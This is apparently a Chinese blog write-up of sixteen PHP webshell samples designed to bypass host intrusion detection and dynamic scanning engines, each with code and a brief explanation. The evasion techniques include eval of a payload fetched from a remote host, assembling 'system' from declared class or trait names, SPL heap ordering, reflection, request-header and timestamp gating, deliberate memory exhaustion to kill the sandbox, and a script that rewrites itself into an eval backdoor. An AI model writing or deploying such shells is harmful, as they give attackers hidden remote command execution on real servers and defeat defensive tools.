目录
不断学习,保持谦虚
第一个样本
<?php
$url="http://172.24.200.12/test/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
system(whoami);
代码分析
这个样本是将1.txt的内容返回回来让eval执行
CURLOPT_URL: 设置要请求的 URL。
CURLOPT_SSL_VERIFYPEER: 禁用 SSL 证书验证。通常不建议这样做,因为这会降低安全性。
CURLOPT_SSL_VERIFYHOST: 禁用主机名验证。这也会降低安全性。
CURLOPT_RETURNTRANSFER: 设置 cURL 将结果返回为字符串,而不是直接输出。
CURLOPT_HTTPHEADER: 设置 HTTP 头。$headerArray 变量应该是一个包含 HTTP 头的数组,但在这段代码中没有提供具体的定义。$output = curl_exec($ch);
curl_exec() 函数执行 cURL 会话,获取请求的结果并将其存储在 $output 变量中。
curl_close($ch);
结果
第二个样本
<?php
get_meta_tags("http://172.24.200.12/test/1.html")["author"](get_meta_tags("http://172.24.200.12test/1.html")["
keywords"]);
?>
1.txt
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="author" content="system">
<meta name="keywords" content="ls">
<title>Document</title>
</head>
<body>
</body>
</html>
代码分析
结果
第三个样本
<?php
foreach(fpm_get_status()["procs"] as $val){
system($val["query-string"]);
}
fpm_get_status() 是一个 PHP 函数,用于获取 PHP-FPM(FastCGI Process Manager)的状态信息。这个函数返回一个包含当前 PHP-FPM 状态的数组。这个数组通常包含有关当前进程的信息,如进程 ID、状态、请求等。
fpm_get_status打印如下,其中query-string是我们的老朋友了,他的值就是get传参的键值对
然后你在执行的时候可能是不同的进程,也就是你所在的数组可能是数组0也可能是数组1.所以在上面样本我们进行了一个for循环,循环出来就可以百分百执行命令
结果
执行一些有空格的命令,那就抓包把里面的空格编码后的+再变成空格
第四个样本
<?php
$m=($GLOBALS[GLOBALS]*n[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS
][_GET][b]);
substr(timezone_version_get(),2)($m);
这里通过$GLOBALS来传递命令,$GLOBALS打印如下,递归多次是因为HIDS对于递归的检测有点不足
通过timezone_version_get来获取system,timezone_version_get再php-fpm+nginx+linux下是如下值,其他环境有待测试
然后就可以执行了
结果
第五个样本
<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
$b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://172.24.200.12".$b."?a=1";
$d =parse_url($url);
if($d['query']){
$c="echo 111;";
}
else{
$c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>
get_cfg_var
parse_url
这个样本他最终是要执行eval。我们反着推导一下。要执行eval就要$a有值。要$a有值就要$c有值。$c有值就不可以进入这里,不然a的赋值就不对了。那样就需要$d的中query没有值才符合要求。经过测试$b=#的时候$d['query']为空。所以需要('error_reporting')>0也就是下面这一块
然后我们就需要构造一下
这个地方就可以绕过了,首席按准备一个文件上传的html,且属性为useraccount
然后上传文件,修改对应地方的值,成功绕过(这里paython写多了老是忘记php后面的;,调试了很久)
结果
第六个样本
<?php
$s=
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;
for($i;$i<count($arr);$i++){
$i++;
$s[1]->a=$_GET['a'];
if($i<97 || $i>=98){
continue;
}
$c=$s[0]->a;
print(substr(get_declared_classes()[70],4,6)($c));
}
?>
先解释一下上面序列化的内容
有两个数组第一个数组是一个对象对象名字8个字符然后对象里面有个字符串a,然后第二个元素是引用前面的内容,第二个数组 ($s[1]
) 的改变会影响第一个数组 ($s[0]
)。这是因为 $s[1]
是对 $s[0]
的引用(使用 r:2
表示),所以对 $s[1]
的任何修改也会反映到 $s[0]
上。这里干扰了HIDS。
get_declared_classes解释
我们打印看一下get_declared_classes的值,我们发现在这里由system,然后我们可以使用substr截取出system
结果
第七个样本
<?php
trait system{
}
$a= new JsonException($_GET['a']);
$c = "123";
$arr= getmygid();
$i=0;
for($i;$i<$arr;$i++){
$i++;
//这里i的值和你的问价所属组有关系建议打印后在作判断
if($i<32 || $i>33){
continue;
}
$c=$a->getMessage();
print(get_declared_traits()[0]($c));
}
getmyid
JsonException(不止JsonException支持getMessage方法,如果JsonException被禁用了可以尝试使用别的类)
get_declared_traits 将会获取到系统中已定义的 trait,因此获取到的函数名称为 system,而 JsonException ->getMessage() 能够将已储存的 Message 信息显示出来,这里如此初始化:$a= new JsonException($_GET['a']); 就可以绕过HIDS。
结果
第八个样本(通过session绕过)
<?php
$b = "111";
$c = "222";
session_start();
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://a/usr/".$_SESSION['a']."?a=1";
$d =parse_url($url);
if($d['query']){
$c="echo 111;";
}
else{
$c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
//这里的$_SESSION只要session_start一开启$_SESSION就会执行。
$_SESSION['a']="#";
?>
这里通过session来获取传递内容,其原理和第五个样本基本相同这里不做演示
第九个样本
<?php
ini_set("display_errors",1);
class MySessionHandler implements SessionHandlerInterface
{
// implement interfaces here
public function close()
{
// TODO: Implement close() method.
}
public function destroy($id)
{
// TODO: Implement destroy() method.
}
public function gc($max_lifetime)
{
// TODO: Implement gc() method.
}
public function open($path, $name)
{
$path($name);
}
public function read($id)
{
// TODO: Implement read() method.
}
public function write($id, $data)
{
// TODO: Implement write() method.
}
}
$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_name($_GET[a]);
session_save_path('system');
session_start();
这里是码定义了一个自定义会话处理类,并设置为 PHP 的会话处理器。
这个代码在这里执行,然后$path和$name是我们传递的。然后就可以执行了
第十个样本
<?php
$a = new SplTempFileObject(1000000);
$a->fwrite( $_GET['a']);
$a->rewind();
substr(get_declared_classes()[70],4,6)($a->fgets());
//fgets() 从临时文件中读取一行数据。
?>
$a = new SplTempFileObject(1000000);
这行代码创建了一个临时文件对象 $a
,其最大容量为 1000000 字节。SplTempFileObject
是一个 PHP 内置类,提供了对临时文件的操作接口。创建时传递的参数定义了文件的最大大小(以字节为单位)。
$a->rewind();
rewind()
方法将文件指针移动到文件的开头。这对于后续读取操作是必要的,因为数据已经写入到临时文件中,而现在我们需要从文件的开头读取数据。
第十一个样本(自己改变自己)
<?php
$s="Declaring file object\n";
$d=$_SERVER['DOCUMENT_ROOT'].$_SERVER['DOCUMENT_URI'];
$file = new SplFileObject($d,'w');
$file->fwrite("<?php"." eva".$s[3]);
$file->fwrite("(\$_"."GET"."[a]);?>");
include(get_included_files()[0]);
?>
使用 SplFileObject
创建一个文件对象 $file
,并以写入模式 ('w'
) 打开文件。然后$file使用fwrite写入代码,如下代码执行过后被修改。然后使用include直接包含
第十二个样本
<?php
$obj=new SplMaxHeap();
$obj->insert( $_GET[a] );
$obj->insert( 8 );
$obj->insert( 'system' );
$obj->insert( 7 );
$obj->insert( 0 );
//$obj->recoverFromCorruption();
$i=0;
foreach( $obj as $number ) {
$i++;
if($i==1) {
$a = $number;
}
if($i==2) {
$b = $number;
}
}
$a($b);
提取插入过后obj变量的值,后命令执行,这里需要理解堆排序的原理,然后根据原理来选出$a和$b对应的值
结果
第十三个样本(优先队列排序)
<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',7);
$objPQ->insert('e',3);
$objPQ->insert('s',5);
$objPQ->insert('y',6);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());
?>
和第十二个差不多
当a等于4的时候$m可以拼成system函数,然后通过getMessage取出$_GET[b]
第十四个样本(内存不足)
<?php
ini_set("display_errors",1);
class b extends SplObjectStorage {
//SplObjectStorage 是 PHP 的一个 SPL(标准PHP库)类,用于存储对象,并允许对对象进行操作和管理
public function getHash($o) {
return get_class($o);
}
}
$cur= new DomainException($_GET[a]);
//老朋友了传入message
?>
111111111111111111111111111111111111111111111111
<?php
ini_set("display_errors",1);
ini_set("memory_limit","100G");
ini_set("memory_limit","100G");
//将 PHP 的内存限制设置为 100 GB。这可以让脚本使用更多内存,但在实际应用中,设置如此大的内存限制是不常见的,并且可能会对服务器造成影响。
echo memory_get_usage().'<br>';
$var = str_repeat("php7_do9gy", 100000000);
//使用 str_repeat() 函数生成一个非常大的字符串,并将其赋值给 $var。这个操作会消耗大量内存,大概1G
echo memory_get_usage();
class bb{}?>
111111111111111111111111111111111111111111111111
<?php
ini_set("display_errors",1);
class A {}
$s = new b;
$o2 = new stdClass;
$s[$o2] = 'system';
//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
echo $s[$p1]($cur->getMessage());
?>
原理
查杀引擎的动态执行需要消耗内存空间,由于同一时间处理的样本 很多,因此单独给每个沙箱环境分配的内存往往不会太多,如果构造一个样本,能够让查杀引擎由于内存不足提前终止查杀,而在真实环境中内存可以满足执行需要,就能够执行到恶意的代码了,恰好 PHP 的内存申请是可以通过 php_ini 在运行时动态修改的。
动态查杀引擎在这里会内存不足,程序会在这里退出,但是真实环境可以满足执行需要
结果
第十五个样本
<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
foreach ($function->getParameters() as $param) {
$da = new DateTime();
echo $da->getTimestamp();
echo 'Name: ' . $param->getName() . PHP_EOL;
$n='F';
if ($param->isOptional()) {
if($da->getTimestamp()>=1725329100||$n='1'){
echo $n;
}
echo 'Default value: ' .
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
}
echo PHP_EOL;
}
?>
这里利用getTimestamp,再结合反射技巧
function foo($test, $bar = FSYSTEM)
: 定义一个函数 foo
,接收两个参数 $test
和 $bar
,其中 $bar
有一个默认值 FSYSTEM
。注意,这里的 FSYSTEM
应该是一个常量或类常量。
$function->getParameters()
: 获取 foo
函数的参数列表,返回一个包含 ReflectionParameter
对象的数组。
if ($param->isOptional())检查参数是否可选
getParameters()
是 ReflectionFunction
或 ReflectionMethod
对象的一个方法,用于返回该函数或方法的参数列表。它返回一个 ReflectionParameter
对象的数组,每个对象表示一个参数的详细信息。你可以通过这些 ReflectionParameter
对象获取关于参数的名称、类型、默认值以及是否是可选的等信息。
ltrim($param->getDefaultValueConstantName(),$n)
: 从参数的默认值常量名中去掉前导的 $n
。
结果
第十六个样本
<?php
ini_set("display_errors",1);
function foo($test, $bar = FSYSTEM)
{
echo $test . $bar;
}
$function = new ReflectionFunction('foo');
$q = new ParseError($_GET[a]);
$p = new ParseError($_SERVER[HTTP_A]);
foreach ($function->getParameters() as $param) {
$da = new DateTime();
echo $da->getTimestamp();
echo 'Name: ' . $param->getName() . PHP_EOL;
$n='F';
if ($param->isOptional()) {
if(mt_rand(55,$p->getMessage()??100)==55||$n='1'){
echo $n;
}
echo 'Default value: ' .
ltrim($param->getDefaultValueConstantName(),$n)($q->getMessage());
}
echo PHP_EOL;
}
?>
if(mt_rand(55,$p->getMessage()??100)==55||$n='1')
生成一个 55 到 $p->getMessage()
或 100 之间的随机数。如果随机数等于 55 或 $n
被设置为 '1'
,则输出 $n
。
我们可以在$_SERVER[HTTP_A]传一个55,在这里mt_rand(55,$p->getMessage()就是55到55之间必选55
$_SERVER可以获取请求头部的信息,这里抓包添加一个HTTP_A的头部